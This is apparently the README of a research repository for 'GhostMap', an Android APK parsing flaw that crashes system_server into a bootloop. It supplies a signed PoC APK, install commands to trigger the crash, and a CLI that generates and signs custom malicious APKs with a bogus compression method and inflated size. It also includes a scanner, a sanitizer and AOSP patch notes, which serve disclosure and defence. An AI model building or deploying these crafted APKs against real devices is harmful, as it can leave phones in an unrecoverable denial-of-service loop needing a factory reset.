A vulnerability research toolkit and working Proof of Concept (PoC) for GhostMap, an Android parser-differential vulnerability in libziparchive and libandroidfw disclosed by Bitdefender Labs in late 2026.
This repository provides:
- A pre-built, signed, and 4-byte aligned PoC APK ready for emulator testing (
apk/ghostmap-poc.apk). - Complete Android Studio source code for the target application (
android-src/). - A Python research toolkit to generate, scan, sign, and sanitize GhostMap APK packages (
src/ghostmap/). - Full technical vulnerability documentation and AOSP remediation patches (
docs/).
| Parameter | Detail |
|---|---|
| Vulnerability Name | GhostMap |
| Class | Parser Differential / Unhandled Memory Fault (SIGBUS) |
| Affected Components | Android libziparchive vs libandroidfw |
| Affected Versions | Android 10, 11, 12, 13, 14, 15, 16, 17 |
| Required Permissions | None (0-permission) |
| Interaction Required | None (Triggers automatically during package scanning/intake) |
| Impact | Persistent denial of service (system_server crash / unrecoverable bootloop) |
- The Discrepancy: When Android processes an APK,
libziparchivechecks whether an entry's uncompressed length exceeds allowable archive bounds only if the compression method is0(kCompressStored). If a non-standard method (e.g.,99) is provided,libziparchivebypasses boundary validation. - The Memory Mapping Fault:
libandroidfw(Asset.cpp) checks whether the entry method is8(kCompressDeflated). If it is not deflated, it treats the entry as uncompressed and issues anmmap()call using the entry's declareduncompressed_length(e.g., 16 MB), regardless of the actual file size on disk (e.g., 41 bytes). - The SIGBUS Crash: The Linux kernel creates virtual memory mappings for the requested 16 MB, but only backing pages up to byte 41 exist. When
system_serverattempts to read past byte 41 while parsing resources, the MMU triggers a hardware page fault that cannot be serviced, delivering a fatalSIGBUS(BUS_ADRERR) signal. - The Bootloop: Because Android automatically restarts
system_server, the service restarts, rescans the installed application, triggers the same fault, and crashes again. This crash occurs before Safe Mode protections take effect.
├── README.md
├── LICENSE
├── .gitignore
├── pyproject.toml
│
├── apk/
│ ├── ghostmap-poc.apk # Signed & aligned vulnerable PoC APK
│ └── ghostmap-clean.apk # Signed & aligned sanitized reference APK
│
├── android-src/ # Android Studio Gradle project
│ ├── build.gradle
│ ├── settings.gradle
│ └── app/
│ ├── build.gradle
│ └── src/main/
│ ├── AndroidManifest.xml
│ ├── java/com/ghostmap/poc/MainActivity.java
│ └── res/values/strings.xml
│
├── src/
│ └── ghostmap/
│ ├── __init__.py
│ ├── zip_utils.py # PKWARE ZIP binary parsing and header structures
│ ├── analyzer.py # Dual-engine parser simulation (libziparchive vs libandroidfw)
│ ├── generator.py # APK synthesizer and header mutation engine
│ ├── signer.py # v1 JAR signing and 4-byte zipalign implementation
│ ├── remediation.py # Automated sanitizer and AOSP patch definitions
│ └── cli.py # Command-line interface
│
├── tests/
│ └── test_ghostmap.py # Automated test suite
│
└── docs/
└── VULNERABILITY_ANALYSIS.md # Detailed technical breakdown and AOSP diffs
IMPORTANT WARNING: Only test this PoC on an Android Emulator (AVD) or an isolated development device with USB debugging enabled. If installed on a device without active ADB access, recovering from the resulting bootloop may require a hardware factory reset.
adb devicesIn a separate terminal window, start listening for SIGBUS signals and system_server crashes:
adb logcat -s "DEBUG" "AndroidRuntime" "AssetManager" "system_server"adb install apk/ghostmap-poc.apkObserve the SIGBUS (BUS_ADRERR) signal delivered to the process handling resource extraction.
If your emulator enters a crash loop, remove the package before the next restart cycle:
adb uninstall com.ghostmap.pocThe toolkit requires Python 3.8+ and uses only standard library modules (no third-party dependencies required).
PYTHONPATH=src python3 -m unittest discover -s tests -vScan any APK to determine whether it contains mismatched compression methods and inflated memory bounds:
PYTHONPATH=src python3 -m ghostmap.cli scan apk/ghostmap-poc.apkExample scan output:
[*] Scanning 'apk/ghostmap-poc.apk' (3,318 bytes)...
[!] Found 1 anomalous entry(s):
[GHOSTMAP VULNERABILITY] resources.arsc
Method: 99 | Compressed: 41 | Declared: 16,777,216
libziparchive -> Method 99 bypasses bounds check (only checked when method == 0)
libandroidfw -> Method 99 treated as stored, mmap(16777216 bytes) exceeds file boundary by 16776773 bytes -> SIGBUS on read
[!] VERDICT: This APK triggers the GhostMap SIGBUS crash loop.
PYTHONPATH=src python3 -m ghostmap.cli generate -o custom_poc.apk -t resources.arsc -m 99 -s 16777216PYTHONPATH=src python3 -m ghostmap.cli sign custom_poc.apk -o custom_poc_signed.apkThe sanitizer resets non-standard compression methods to standard stored format and clamps the declared uncompressed size to the actual physical payload size:
PYTHONPATH=src python3 -m ghostmap.cli sanitize apk/ghostmap-poc.apk -o fixed.apk
PYTHONPATH=src python3 -m ghostmap.cli scan fixed.apkThe android-src/ directory contains a minimal native Android project.
- Open Android Studio.
- Select Open and navigate to
android-src/. - Allow Gradle to synchronize.
- Run or build the project using standard Gradle tasks:
cd android-src ./gradlew assembleDebug
The compiled APK will be generated under android-src/app/build/outputs/apk/debug/app-debug.apk. You can then mutate and sign it using ghostmap.cli to reproduce the vulnerability on custom builds.
To resolve the vulnerability at the OS level, two changes are required in AOSP:
system/libziparchive/zip_archive.cc: Reject any entry that specifies a compression method other thankCompressStored(0) orkCompressDeflated(8).frameworks/base/libs/androidfw/Asset.cpp: Explicitly verifymethod == kCompressStoredbefore invokingmmap(), and check thatuncompressed_length <= physical_length.
See docs/VULNERABILITY_ANALYSIS.md for full patch diffs.
This project is released under the MIT License.